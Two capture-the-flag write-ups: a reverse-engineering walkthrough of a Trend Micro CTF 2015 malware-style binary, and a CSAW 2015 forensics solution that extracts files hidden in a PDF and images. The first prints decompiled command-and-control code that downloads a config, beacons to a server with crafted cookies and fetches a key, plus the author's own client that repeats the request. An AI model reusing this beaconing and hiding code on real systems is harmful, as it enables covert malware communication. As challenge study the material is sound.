[bp-8h]@1 unsigned __int16 j; // [sp+Ch] [bp-8h]@4 unsigned __int8 v8; // [sp+13h] [bp-1h]@1 v8 = 0; v5 = 0; *(_BYTE *)(a3 + 256) = 0; *(_BYTE *)(a3 + 257) = 0; for ( i = 0; (signed int)i < 256; ++i ) *(_BYTE *)(a3 + i) = i; result = 0; for ( j = 0; (signed int)j < 256; ++j ) { v5 += *(_BYTE *)(a3 + j) + *(_BYTE *)(a1 + v8); v4 = *(_BYTE *)(a3 + j); *(_BYTE *)(a3 + j) = *(_BYTE *)(a3 + v5); result = v5; *(_BYTE *)(a3 + v5) = v4; LOBYTE(result) = v8++ + 1; if ( v8 == a2 ) v8 = 0; } return result;} int __cdecl func2(int a1, unsigned int a2, int a3){ char v3; // ST0D_1@3 int result; // eax@4 unsigned int i; // [sp+4h] [bp-Ch]@1 unsigned __int8 v6; // [sp+Eh] [bp-2h]@1 unsigned __int8 v7; // [sp+Fh] [bp-1h]@1 v6 = *(_BYTE *)(a3 + 256); v7 = *(_BYTE *)(a3 + 257); for ( i = 0; i < a2; ++i ) { ++v6; v7 += *(_BYTE *)(a3 + v6); v3 = *(_BYTE *)(a3 + v6); *(_BYTE *)(a3 + v6) = *(_BYTE *)(a3 + v7); *(_BYTE *)(a3 + v7) = v3; *(_BYTE *)(i + a1) ^= *(_BYTE *)(a3 + (unsigned __int8)(*(_BYTE *)(a3 + v7) + *(_BYTE *)(a3 + v6))); } *(_BYTE *)(a3 + 256) = v6; result = a3; *(_BYTE *)(a3 + 257) = v7; return result;}``` Inspection of the above routines reveals the algorithm to be RC4 (with *func1* being the RC4 key scheduling algorithm and *func2* being the Pseudo-Random Number Generator (PRNG) that generates RC4's keystream) thus revealing *decrypt_mystery_buffer* to work as follows: ```csigned int decrypt_mystery_buffer(){ __int16 cnamelen; // ax@2 signed int v2; // [sp+0h] [bp-118h]@1 DWORD nSize; // [sp+4h] [bp-114h]@1 CHAR computername; // [sp+8h] [bp-110h]@1 char v5; // [sp+9h] [bp-10Fh]@1 v2 = 0; computername = 0; memset(&v5, 0, 0x103u); nSize = 260; if ( !url_data ) { GetComputerNameA(&computername, &nSize); cnamelen = strlen(&computername); do_rc4_decrypt((int)&computername, cnamelen, (int)&mysterybuffer, 0x1CCu); url_data = (int)&mysterybuffer; if ( mysterybuffer == 0x35313032 ) // if(mysterbuffer[:4] == "2015") v2 = 1; } return v2;}``` So we decrypt the myster buffer using RC4 with the key "TMCTF2015-PC" which yields the following buffer: ```2015http://ctfquest.trendmicro.co.jp:13106/126ac9f6149081eb0e97c2e939eaad52/top.html <font color="#FEFEFE"> </font> /e45c2dc8d9e5b215ea141f2f609100f9/notify.php TMCTF2015-13106 `Ω key.bin``` The next function executed is *get_data_from_url*: ```cint __cdecl get_data_from_url(LPCSTR url, int buffer, int bytesRead){ void *v3; // ST1C_4@1 signed int v5; // [sp+4h] [bp-124h]@1 void *lpBuffer; // [sp+8h] [bp-120h]@3 HANDLE hFile; // [sp+Ch] [bp-11Ch]@4 DWORD nNumberOfBytesToRead; // [sp+10h] [bp-118h]@2 CHAR downloadpath; // [sp+18h] [bp-110h]@1 DWORD NumberOfBytesRead; // [sp+124h] [bp-4h]@5 v5 = 0; *(_DWORD *)buffer = 0; *(_DWORD *)bytesRead = 0; GetTempPathA(0x104u, &downloadpath); v3 = decode_string("746e65776a3736383d377e787c");// tmctf2015.tmp _snprintf(&downloadpath, 0x104u, "%s%s", &downloadpath, v3); free(v3); if ( !URLDownloadToFileA(0, url, &downloadpath, 0, 0) ) { nNumberOfBytesToRead = get_file_size(&downloadpath); if ( nNumberOfBytesToRead != -1 ) { lpBuffer = malloc(nNumberOfBytesToRead); if ( lpBuffer ) { hFile = CreateFileA(&downloadpath, 0x80000000, 0, 0, 3u, 0, 0); if ( hFile != (HANDLE)-1 ) { ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0); CloseHandle(hFile); *(_DWORD *)buffer = lpBuffer; *(_DWORD *)bytesRead = nNumberOfBytesToRead; v5 = 1; } if ( !v5 ) free(lpBuffer); } } } return v5;}``` This function connects to *http://ctfquest.trendmicro.co.jp:13106/126ac9f6149081eb0e97c2e939eaad52/top.html*, reads the HTML and extracts (using function *get_hostname_and_port*) the first token between tags: ```html<font color="#FEFEFE">...</font>``` If we navigate to that URL we are presented with a decoy blogging site: ![alt site](site.png) Which hides tokens in its HTML: ```html<div class="post-text"> Summer is hot. I do not like summer. <font color="#FEFEFE">6c706564706d757a7c8542434445</font> </div> </div> <div class="post-entry" id="2015092401"> <div class="post-header"> <span> Posted On: Sep 24, 2015 </span> <span> Winter </span> </div> <div class="post-text"> Winter is cold. I like winter. <font color="#FEFEFE">63756874796a797b367d7c707a717b78738381417784448188954b54504d4e</font> </div> </div> <div class="post-entry"> <div class="post-header"> <span> Posted On: Sep 23, 2015 </span> <span> My first post </span> </div> <div class="post-text"> Hello Blog! <font color="#FEFEFE">313339313433363539853b3d3f4143</font> </div> </div>``` Decoding the tokens using the *decode_string* function yields the following: ```localhost|8888ctfquest.trendmicro.co.jp|19400127.0.0.1|12345``` Which are typical *servername|port* configuration entries for malware Command & Control servers. The final function execute is *do_core*: ```cvoid __cdecl do_core(LPCSTR lpszServerName, __int16 portnum){ signed int dothing; // [sp+4h] [bp-11Ch]@1 signed int status; // [sp+Ch] [bp-114h]@1 int v4; // [sp+10h] [bp-110h]@7 LPCVOID lpBuffer; // [sp+14h] [bp-10Ch]@13 char Buffer; // [sp+18h] [bp-108h]@7 char v7[254]; // [sp+1Ah] [bp-106h]@13 char cmd; // [sp+11Fh] [bp-1h]@1 dothing = 1; status = 0; cmd = 0; if ( lpszServerName && portnum ) { while ( dothing ) { if ( get_file_size((LPCSTR)(url_data + 396)) == 35 )// filesize("key.bin") == 35 { ++*(_DWORD *)(url_data + 392); if ( !(*(_DWORD *)(url_data + 392) % 0xAu) ) status = 1; } v4 = 256; if ( get_keyfile(lpszServerName, portnum, status, &Buffer, (int)&v4) ) { if ( v4 ) { cmd = extract_cmd((int)&Buffer, v4); switch ( cmd ) { case 0x4B: // K lpBuffer = &v7[Buffer]; write_key_bin(&v7[Buffer], v4 - (&v7[Buffer] - &Buffer)); break; case 0x53: // S do_mutex_stuff(); break; case 0x54: // T dothing = 0; break; } } status = 0; Sleep(*(_DWORD *)(url_data + 388)); // sleep(60000) } } }}``` This routine checks for the existence of "key.bin" on the machine and if it exists (and is exactly 35 bytes in size) increments a counter. If the counter is a multiple of 10 the *status* variable is set to 1. Next the *get_keyfile* function is executed which connects to the server and port extracted from the decoy blog and sets a particular cookie value (encoding the status variable) and user agent to retrieve a keyfile from the Command & Control server: ```int __cdecl get_keyfile(LPCSTR lpszServerName, __int16 portnum, int status, LPVOID dstBuffer, int a5){ HINTERNET hConnect; // [sp+0h] [bp-F4h]@2 unsigned int v7; // [sp+4h] [bp-F0h]@1 signed int v8; // [sp+8h] [bp-ECh]@1 char getparams; // [sp+Ch] [bp-E8h]@1 char v10; // [sp+Dh] [bp-E7h]@1 char *cookieheader; // [sp+4Ch] [bp-A8h]@4 HINTERNET hInternet; // [sp+50h] [bp-A4h]@1 CHAR szHeaders; // [sp+54h] [bp-A0h]@1 char v14; // [sp+55h] [bp-9Fh]@1 char *v15; // [sp+D8h] [bp-1Ch]@1 HINTERNET hRequest; // [sp+DCh] [bp-18h]@3 char *reqparam; // [sp+E0h] [bp-14h]@4 void *v18; // [sp+E4h] [bp-10h]@4 DWORD dwNumberOfBytesRead; // [sp+E8h] [bp-Ch]@6 unsigned int v20; // [sp+ECh] [bp-8h]@1 char *v21; // [sp+F0h] [bp-4h]@1 v8 = 0; v7 = 0; getparams = 0; memset(&v10, 0, 0x3Fu); szHeaders = 0; memset(&v14, 0, 0x7Fu); v15 = "673278367138713a81462f6f"; // g1v3m3k3y=%d v21 = "4370716e6d6a40272d7c1715"; // Cookie: %s v20 = *(_DWORD *)a5; *(_DWORD *)a5 = 0; hInternet = InternetOpenA((LPCSTR)(url_data + 324), 0, 0, 0, 0);// user agent: TMCTF2015-13106 if ( hInternet ) { hConnect = InternetConnectA(hInternet, lpszServerName, portnum, 0, 0, 3u, 0, 0); if ( hConnect ) { // GET /e45c2dc8d9e5b215ea141f2f609100f9/notify.php hRequest = HttpOpenRequestA(hConnect, "GET", (LPCSTR)(url_data + 260), "HTTP/1.0", 0, 0, 0x80000u, 0); if ( hRequest ) { reqparam = (char *)decode_string(v15); _snprintf(&getparams, 0x3Fu, reqparam, status); free(reqparam); v18 = get_cookie(&getparams); cookieheader = (char *)decode_string(v21); _snprintf(&szHeaders, 0x80u, cookieheader, v18); free(v18); free(cookieheader); HttpAddRequestHeadersA(hRequest, &szHeaders, 0xFFFFFFFF, 0xA0000000); if ( HttpSendRequestA(hRequest, 0, 0, 0, 0) ) { while ( v7 <= v20 ) { if ( InternetReadFile(hRequest, dstBuffer, v20 - v7, &dwNumberOfBytesRead) ) { if ( !dwNumberOfBytesRead ) { v8 = 1; *(_DWORD *)a5 = v7; break; } dstBuffer = (char *)dstBuffer + dwNumberOfBytesRead; v7 += dwNumberOfBytesRead; } } } InternetCloseHandle(hRequest); } InternetCloseHandle(hConnect); } InternetCloseHandle(hInternet); } return v8;}``` We can see that there are 2 actions that can be undertaken after data has been retrieved from the Command & Control server: ```cint __cdecl write_key_bin(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite){ signed int v3; // [sp+0h] [bp-Ch]@1 DWORD NumberOfBytesWritten; // [sp+4h] [bp-8h]@2 HANDLE hFile; // [sp+8h] [bp-4h]@1 v3 = 0; hFile = CreateFileA((LPCSTR)(url_data + 396), 0x40000000u, 0, 0, 2u, 0x80u, 0);// openfile(key.bin) if ( hFile != (HANDLE)-1 ) { WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0); CloseHandle(hFile); v3 = 1; } return v3;} int do_mutex_stuff(){ DWORD nNumberOfBytesToRead; // [sp+4h] [bp-14h]@1 HANDLE hFile; // [sp+8h] [bp-10h]@1 void *lpBuffer; // [sp+Ch] [bp-Ch]@3 HANDLE hObject; // [sp+10h] [bp-8h]@4 DWORD NumberOfBytesRead; // [sp+14h] [bp-4h]@4 nNumberOfBytesToRead = get_file_size((LPCSTR)(url_data + 396));// filesize(key.bin) hFile = CreateFileA((LPCSTR)(url_data + 396), 0x80000000, 0, 0, 3u, 0, 0);// open(key.bin) if ( hFile != (HANDLE)-1 && nNumberOfBytesToRead == 35 ) { lpBuffer = malloc(35u); if ( lpBuffer ) { ReadFile(hFile, lpBuffer, 35u, &NumberOfBytesRead, 0); extract_mutex(Name, 35, lpBuffer, 35); hObject = CreateMutexA(0, 0, Name); if ( hObject && GetLastError() == 183 ) { CloseHandle(hObject); ExitProcess(0x47414C46u); } free(lpBuffer); } CloseHandle(hFile); } return 0;}``` The *write_key_bin* function seems to extract keying data from the response and write it to the *"key.bin"* file. The *do_mutex_stuff* function reads 35 bytes from the key file, applies the *extract_mutex* function to a constant *Name* buffer and obtains a mutex name value which it then proceeds to set. We assume it is the mutex name we are supposed to obtain as a flag value. Given that we have neither *keyfile.bin* nor will the connection succeed (since it attempts to connect to localhost) we connect to *ctfquest.trendmicro.co.jp|19400* ourselves with user-agent *TMCTF2015-13106* and cookie set to *get_cookie("g1v3m3k3y=1")* and make a GET request to */e45c2dc8d9e5b215ea141f2f609100f9/notify.php* using the following (very dirty) code: ```c#include <stdio.h>#include <stdlib.h>#include <wininet.h> int main(int argc, unsigned char** argv){ char getParams[0x40] = {0}; char szHeaders[0x81] = {0}; char* cookieVal = "673278367138713a81463b"; // g1v3m3k3y=1 int status = 0; DWORD readBytes = 0; DWORD bufSZ = 256; unsigned char buffer[257] = {0}; DWORD dwNumberOfBytesRead = 0; DWORD a5 = 0; unsigned char* dstBuffer = (unsigned char*)buffer; HANDLE hInternet = InternetOpenA((LPCSTR)"TMCTF2015-13106", 0, 0, 0, 0); if(hInternet) { HANDLE hConnect = InternetConnectA(hInternet, (LPCSTR)"ctfquest.trendmicro.co.jp", 19400, 0, 0, 3, 0, 0); if(hConnect) { HANDLE hRequest = HttpOpenRequestA(hConnect, "GET", (LPCSTR)"/e45c2dc8d9e5b215ea141f2f609100f9/notify.php", "HTTP/1.0", 0, 0, 0x80000, 0); if(hRequest) { snprintf(getParams, 0x3F, "g1v3m3k3y=%d", status); snprintf(szHeaders, 0x80, "Cookie: %s\r\n", cookieVal); HttpAddRequestHeadersA(hRequest, &szHeaders, 0xFFFFFFFF, 0xA0000000); if(HttpSendRequestA(hRequest, 0, 0, 0, 0)) { printf("[*] Reading server response...\n"); while(readBytes <= bufSZ) { if( InternetReadFile(hRequest, dstBuffer, bufSZ - readBytes, &dwNumberOfBytesRead) ) { if( !dwNumberOfBytesRead ) { a5 = readBytes; break; } dstBuffer = (unsigned char*)(dstBuffer + dwNumberOfBytesRead); readBytes += dwNumberOfBytesRead; } } printf("[+] Read (%d) bytes\n", a5); printf("[+] Data buffer: ["); DWORD kl = a5 - ((unsigned char*)&buffer[2 + buffer[0]] - (unsigned char*)&buffer); DWORD i; printf("[+] Key: ["); for(i = 0; i < kl; i++) { printf("%02x", ((unsigned char*)(&buffer[2 + buffer[0]]))[i]); } printf("]\n"); } } } } return 0;}``` Which gave us the key buffer: ```6381b943696db16f13f84ac7176049a9f74025bd779eae5b22a1617423b66e5bf207f6``` The *extract_mutex* function is a simple repeating-key XOR application of the key to the encrypted mutex name buffer: ```pythondef extract_mutex(mutex_buf, mutex_len, key_buf, key_len): res = "" for i in xrange(mutex_len): res += chr(ord(mutex_buf[i]) ^ ord(key_buf[i % key_len])) return res mutex_buf = "\x37\xCC\xFA\x17\x2F\x16\xFC\x39\x2B\x82\x12\xBD\x51\x06\x04\xEF\xCF\x72\x7D\xC7\x25\xF8\xE0\x0D\x1A\x91\x39\x0D\x4B\xD0\x23\x3C\xCF\x3A\x8B" key_buf = "6381b943696db16f13f84ac7176049a9f74025bd779eae5b22a1617423b66e5bf207f6".decode('hex') assert(len(mutex_buf) == len(key_buf) == 35)mutex = extract_mutex(mutex_buf, len(mutex_buf), key_buf, len(key_buf))print "[+]Mutex: [%s]\n" % mutex``` Execution of which gives us: ```bash$ ./getmutex.py[+]Mutex: [TMCTF{MV8zXzFfMF82XzRfNV80XyhfMg==}]```
# CSAW Finals 2015: Mandiant - Forensics 300 For this challenge we are given a pdf file called `Mandiant.pdf`. The pdf is 76 pages long, and considering this is a 300 point challenge, the flag or any hint probably isn't sitting there in plain text, so I didn't bother going through it and went straight to `pdf-parser` ## PDF Analysis The first thing I always do with `pdf-parser` is get a summary about what the pdf contains, so I run: ```bash$ pdf-parser --stats Mandiant.pdf Comment: 3XREF: 1Trailer: 1StartXref: 1Indirect object: 734 355: 2, 1, 5, 16, 14, 48, 50, 9, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 64, 66, 68, 72, 71, 75, 79, 82, 87, 86, 94, 95, 96, 97, 98, 100, 104, 113, 112, 117, 118, 119, 122, 123, 124, 125, 128, 129, 107, 116, 137, 135, 143, 144, 145, 146, 152, 151, 155, 158, 157, 165, 166, 167, 168, 169, 172, 177, 182, 187, 192, 191, 197, 198, 199, 202, 205, 208, 216, 215, 212, 219, 225, 224, 222, 229, 230, 244, 243, 250, 237, 253, 254, 255, 236, 256, 257, 258, 259, 260, 261, 262, 235, 264, 265, 266, 234, 248, 249, 273, 268, 282, 280, 277, 286, 287, 292, 290, 297, 296, 303, 304, 305, 306, 310, 308, 316, 323, 326, 320, 334, 336, 330, 340, 346, 343, 350, 353, 357, 360, 366, 365, 370, 363, 369, 374, 378, 377, 383, 389, 387, 392, 393, 386, 395, 401, 398, 411, 414, 405, 421, 418, 425, 429, 432, 435, 439, 443, 442, 449, 451, 453, 457, 462, 460, 469, 472, 476, 479, 484, 482, 487, 489, 492, 495, 498, 501, 505, 508, 511, 514, 517, 522, 524, 526, 528, 532, 534, 536, 539, 56, 54, 544, 548, 550, 551, 263, 552, 555, 557, 556, 561, 562, 559, 58, 563, 566, 569, 59, 571, 574, 575, 577, 70, 579, 578, 583, 584, 581, 586, 585, 590, 591, 588, 133, 592, 593, 595, 597, 599, 600, 233, 603, 604, 606, 608, 607, 612, 613, 610, 319, 614, 615, 617, 619, 620, 622, 624, 625, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 627, 689, 626, 690, 691, 692, 693, 700, 713, 718, 719, 722, 701, 704, 705, 706, 707, 708, 709, 710, 55, 711, 724, 715, 726, 730, 727, 703, 732, 733, 702, 734 /Annot 48: 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 74, 89, 90, 91, 92, 93, 115, 139, 140, 141, 142, 154, 160, 161, 162, 163, 164, 194, 195, 196, 218, 227, 228, 246, 247, 284, 285, 299, 300, 301, 302, 368, 486 /Catalog 1: 699 /Embeddedfile 1: 3 /Encoding 4: 553, 572, 716, 725 /ExtGState 11: 149, 546, 543, 51, 52, 8, 565, 148, 53, 7, 729 /F 1: 4 /Font 59: 121, 127, 10, 12, 13, 558, 60, 61, 63, 77, 580, 78, 587, 111, 108, 109, 110, 213, 214, 223, 240, 241, 242, 238, 239, 269, 270, 271, 272, 278, 279, 291, 309, 315, 314, 609, 321, 322, 332, 333, 344, 345, 364, 388, 399, 400, 406, 407, 408, 409, 410, 419, 420, 448, 468, 521, 531, 62, 11 /FontDescriptor 30: 49, 67, 120, 126, 130, 251, 327, 337, 371, 415, 452, 525, 554, 560, 573, 576, 582, 589, 594, 596, 598, 601, 602, 605, 611, 616, 618, 621, 714, 723 /Group 85: 17, 65, 73, 80, 84, 88, 101, 105, 114, 138, 153, 159, 173, 178, 184, 188, 193, 203, 206, 210, 217, 226, 245, 274, 283, 293, 298, 311, 317, 325, 335, 341, 347, 351, 355, 358, 361, 367, 375, 380, 384, 390, 396, 402, 413, 422, 426, 430, 433, 437, 440, 444, 450, 458, 464, 470, 473, 477, 480, 485, 490, 493, 496, 499, 503, 506, 509, 512, 515, 519, 523, 529, 533, 537, 540, 541, 545, 549, 542, 567, 570, 564, 720, 728, 712 /Mask 3: 547, 568, 717 /Metadata 24: 131, 174, 179, 220, 231, 252, 275, 288, 294, 312, 328, 338, 348, 372, 381, 391, 403, 416, 423, 445, 454, 465, 698, 731 /Outlines 1: 623 /Page 76: 6, 57, 69, 76, 81, 85, 99, 102, 106, 132, 147, 156, 170, 175, 180, 185, 190, 200, 204, 207, 211, 221, 232, 267, 276, 289, 295, 307, 313, 318, 329, 339, 342, 349, 352, 356, 359, 362, 373, 376, 382, 385, 394, 397, 404, 417, 424, 427, 431, 434, 438, 441, 446, 455, 459, 466, 471, 474, 478, 481, 488, 491, 494, 497, 500, 504, 507, 510, 513, 516, 520, 527, 530, 535, 538, 697 /Pages 18: 694, 695, 15, 83, 136, 183, 209, 696, 281, 324, 354, 379, 412, 436, 463, 483, 502, 518 /XObject 17: 103, 134, 150, 171, 176, 181, 189, 186, 201, 331, 428, 447, 456, 461, 467, 475, 721``` Ok, lots of data in this pdf, but the only thing I care about is that there's exactly 1 `Embeddedfile` inside, with an object id of `3`. The next step is to extract this out: ```bash$ pdf-parser --object 3 --raw --filter Mandiant.pdf > out$ cat outobj 3 0 Type: /Embeddedfile Referencing: 2 0 R, 1 0 R Contains stream << /Filter /FlateDecode /Length 2 0 R /Params 1 0 R /Type /Embeddedfile >> iVBORw0KGgoAAAANSUhEUgAAAmIAAAHTCAYAAACEKHSrAAAgAElEQVR4XuxdB3hTVRt+k7RJV7onHRQou2UVyt57yhJEHAgOwL3Brb+/83fjBLeIqOyNbBApe28KpUD33m2S/s97wi2hNslNSbFgvsfY0tx77jnfOfd87/mmArc+WwEHOTjg4ICDAw4OODjg4ICDAw4OXHcOKBxA7Lrz3PFABwccHHBwwMEBBwccHHBwQHDgChDbsxrITa+WLQoooFAqxHcVFRXiw78plUpU4LJCzeQHv4f0dzOM5v38z3itdeKzDAaD9QsdV1jkQEhwCHz9fCuvGT9+PPz9/f92T8KZBGTnZDu4aQMHQkNDERwcbMMdjksdHHBw4N/OgYyMDMyfP7+SDa1iWqF7j+7/drbc9ONPyMzH/zYergLENvwEZF782+AVCgX4UavV4rvy8nIBiAiM+DcBuQyGSoDGa/R6vVXQpFKpRLs6nc4qw3mds7OzuNYBxqyyy+IFkZGRCAoKqrzm0UcfRb169f52.........x4sI8dMySBy2XENnmQEdPIRxPI8/RoagOQt+AR04lUizChQRiOzK7YdS7zQLt+89b25l2FeUlrG2/Z8yZMjn6WgduGKzTl/gPR2x/W2iR4/t4+lmb147sChZ/sXRZq8OM4k+8RDPG3QlKa/UqOVoRb5WTdkVgP3DsnHQ9oPv3sb9K6KT36aCfR7ozn2kZYDkgaomC/OAnD8nBec0OnfijTJ58BkxGwM0QtO+Yr9unQ30UKsxIwpS0tPq4Rylt4RaKM43Zg9BKB46IRfgakbWbUBiz8QK6thmtCkffNuI1BdqM9lI2IKyJpLjkcjY8RevZaBOz8lkkGpncCCODvOSw5zWOf2LGQABBAYAAQnAx6oABwsBAAEhIQEIDMAH5AAICgGHU/ArAAAFARkIAAAAAAAAAAARFwBzAGUAYwByAGUAdAAuAHQAeAB0AAAAGQQAAAAAFAoBAABLSvHvFdEBFQYBACAAAAAAAA==``` Ok we're onto something, the extracted data contains some pdf-parser related text, and a few thousand line long base64 string. Let's decode this data and see what it is: **NOTE:** I deleted the extra text from the beginning of `out`, leaving only the base64 data ```bash$ base64 -d < out > out2$ file out2out2: PNG image data, 610 x 467, 8-bit/color RGBA, non-interlaced$ mv out2 pic1.png``` The data decoded to a PNG file, let's see what it is: ![alt text](https://raw.githubusercontent.com/kareemroks101/CTF-Writeups/master/CSAW%2015%20Finals/for300%20-%20Mandiant/pic1.png "pic1.png") Hah, what a meme! Anyway, let's keep looking in the picture's data ## PNG Analysis Looking through the hex dump for the image, I found something interesting ```bash$ tail pic1.png | xxd.........0000360: f392 c39c d639 fd8b 1900 0104 0600 0109 .....9..........0000370: c0c7 aa00 070b 0100 0121 2101 080c c007 .........!!.....0000380: e400 080a 0187 53f0 2b00 0005 0119 0800 ......S.+.......0000390: 0000 0000 0000 0011 1700 7300 6500 6300 ..........s.e.c.00003a0: 7200 6500 7400 2e00 7400 7800 7400 0000 r.e.t...t.x.t...00003b0: 1904 0000 0000 140a 0100 004b 4af1 ef15 ...........KJ...00003c0: d101 1506 0100 2000 0000 0000 ...... .....``` secret.txt? Looks like there's something else contained in this file ```bash$ binwalk pic1.png DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PNG image, 610 x 467, 8-bit/color RGBA, non-interlaced41 0x29 Zlib compressed data, compressed, uncompressed size >= 229376160173 0x271AD 7-zip archive data, version 0.4``` Great, there's a 7zip archive inside. I pulled it out manually with a hex editor, now let's see what's inside ```bash$ 7z x secret.7z 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) Processing archive: secret.7z Extracting secret.txt Everything is Ok Size: 58375Compressed: 43849$ cat secret.txt /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD/wgARCAEbAUEDASIAAhEBAxEB/8QAHQAAAAcBAQEAAAAAAAAAAAAAAAIDBAUGBwEICf/EABkBAAMBAQEAAAAAAAAAAAAAAAABAgMEBf/aAAwDAQACEAMQAAABprPTI7y/WpRPStY6uPFUPaFPqPMKvr+FDygl7Hx5nm6O9/eMnvCsfdFfvn8Wm+gVZceI1/oNFB4UN7uIq8Oym9WsryG+9y5g58yj1jms6ZbTfoBUk/GiP0PyJryvFe0cQnXMDfQag1n4376M2sXg.........ZE9Jek9FbmduRVZuRHNGOGN4N1JoMGNoOGVlTlMxK2syMks5Vzd6SnZ3eERJcityd2c5SXhMRzV4cWc4R3ZVTldwUkNlR3ZNTjRXWTlkZWlrMnlhZmZZYXJFT3djMVBFd2dHcXFrYi9YNk9CVzlWa0xqV1hvR3p4VWNwUlFpYldTdytORGVRWWl1SHJrTU1QU0dIeldJNGZNa3poeHNKUXJaRVB4RUJPRTdLbUFEd2h4azdpYkNoVC9uMkJOZ041V3Q1WGFISUlNNk5EVE1ZbkRZeWU2U2JuVjZiSkZEY3hKVUp2a1lFWDE1dEZWdUplZGNtY1hXZ0tWa0FFMndqbjRwbHJpcGI4ZUxJZ3hkOEVNOXpRVWptWE1BQUhHUFBxdURELzN3bVIweTBwUTErNzdXemNOSlQ1OVlPWVVTYkJEYm5rc3FxTDRTVnQ2Q3IwVW9Yd25QUG9MWEtoVFZrdEVDbVVCNzMzcmRKMlpzWTZqM1hyNWptaFNsZk1TNTZOU3MyeWhPR29KSmxhQUx3K0U0OQ0K``` Ok, secret.txt contains <1000 lines of what looks to be more base64 data. Let's decode it and see what it is ```bash$ base64 -d < secret.txt > out3$ file out3out3: JPEG image data, progressive, precision 8, 321x283, frames 3$ mv out3 pic2.jpg``` Another picture, this time a JPG, let's see what it is ![alt text](https://raw.githubusercontent.com/kareemroks101/CTF-Writeups/master/CSAW%2015%20Finals/for300%20-%20Mandiant/pic2.jpg "pic2.jpg") Hahaha, these sure are great! Still no flag, let's keep looking ## JPG Analysis Looking at the hex dump / strings again, I found more base64 data appended to the end of the image: ```bash$ strings pic2.jpg xG9b#o]Y2EB V~D......5TZ"^p91bD^sJ"aKxwS#UHVVGEC8uGDQuNhhk6FKg0ICF9jVAUS54zurveSzXcwE9MsIHIZPuvP6vrSDgwULy5Kvm/wPe3zxddM4SSPgvWIg==XQN6Y6QIpfofWw857i5DK71VV+AMw3qkl5fJBqvEToJVrzPmKDEgrBZOqPqIVFRqIhseBorGzt4AV+9AIjqf0SyN44jfglSbMEXyZMmxpQdIs72mTwoDhSCTHOuFsqBPRwmaj4Za/M5OFf9UIwBPKQBZYa++ZLok0ApDrHRKQxJIhOqYmHwBMAwT8LK6Ej/wy1gJzG/4k4kRCAlcu3Ks39FCJeamjV5t1Agx1zLBKTsaVBfD4FMVgLGzuu9AknZFceqd9j1KybcFRb2suI1CxUlSpsIJggSnZzgLTA8kDJVPKy8......+rwg9IxLG5xqg8GvUNWpRCeGvMN4WY9deik2yaffYarEOwc1PEwgGqqkb/X6OBW9VkLjWXoGzxUcpRQibWSw+NDeQYiuHrkMMPSGHzWI4fMkzhxsJQrZEPxEBOE7KmADwhxk7ibChT/n2BNgN5Wt5XaHIIM6NDTMYnDYye6SbnV6bJFDcxJUJvkYEX15tFVuJedcmcXWgKVkAE2wjn4plripb8eLIgxd8EM9zQUjmXMAAHGPPquDD/3wmR0y0pQ1+77WzcNJT59YOYUSbBDbnksqqL4SVt6Cr0UoXwnPPoLXKhTVktECmUB733rdJ2ZsY6j3Xr5jmhSlfMS56NSs2yhOGoJJlaALw+E49``` This time there are two separate base64 strings here, let's decode them: **NOTE:** I extracted the two base64 strings to `b1` and `b2` ```bash$ base64 -d < b1 > o1$ file o1o1: data$ xxd o10000000: 5551 840b cb86 0d0b 8d86 193a 14a8 3420 UQ.........:..4 0000010: 217d 8d50 144b 9e33 babb de4b 35dc c04f !}.P.K.3...K5..O0000020: 4cb0 81c8 64fb af3f abeb 4838 3050 bcb9 L...d..?..H80P..0000030: 2af9 bfc0 f7b7 cf17 5d33 8492 3e0b d622 *.......]3..>.." $ base64 -d < b2 > o2$ file o2o2: data$ xxd o20000000: 5d03 7a63 a408 a5fa 1f5b 0f39 ee2e 432b ].zc.....[.9..C+0000010: bd55 57e0 0cc3 7aa4 9797 c906 abc4 4e82 .UW...z.......N.0000020: 55af 33e6 2831 20ac 164e a8fa 8854 546a U.3.(1 ..N...TTj0000030: 221b 1e06 8ac6 cede 0057 ef40 223a 9fd1 "........W.@":..0000040: 2c8d e388 df82 549b 3045 f264 c9b1 a507 ,.....T.0E.d..........0003430: 4cb4 a50d 7eef b5b3 70d2 53e7 d60e 6144 L...~...p.S...aD0003440: 9b04 36e7 92ca aa2f 8495 b7a0 abd1 4a17 ..6..../......J.0003450: c273 cfa0 b5ca 8535 64b4 40a6 501e f7de [email protected]...0003460: b749 d99b 18ea 3dd7 af98 e685 295f 312e .I....=.....)_1.0003470: 7a35 2b36 ca13 86a0 9265 6802 f0f8 4e3d z5+6.....eh...N=``` Now `file` yields nothing, and the data doesn't look like any particular file type. Where to go from here? Well, I had no idea, I was stuck, and apparently so was every other team that tried this problem. No progress was made until a new hint was released, which told us to check out something called `Free File Camouflage` I looked up and downloaded this program, and opened the JPG with it ![alt text](https://raw.githubusercontent.com/kareemroks101/CTF-Writeups/master/CSAW%2015%20Finals/for300%20-%20Mandiant/ffc.PNG "Free File Camouflage") This program extracted a file called `a.out` ## Last StepRunning `file` reveals that `a.out` is a 64-bit ELF, so let's run it:```bash$ file a.out a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=2e4595f77d1c1c460c3e43fd231f82621e035b90, not stripped$ ./a.out hello world, i found this flag under some bit-maps....[HAVE A 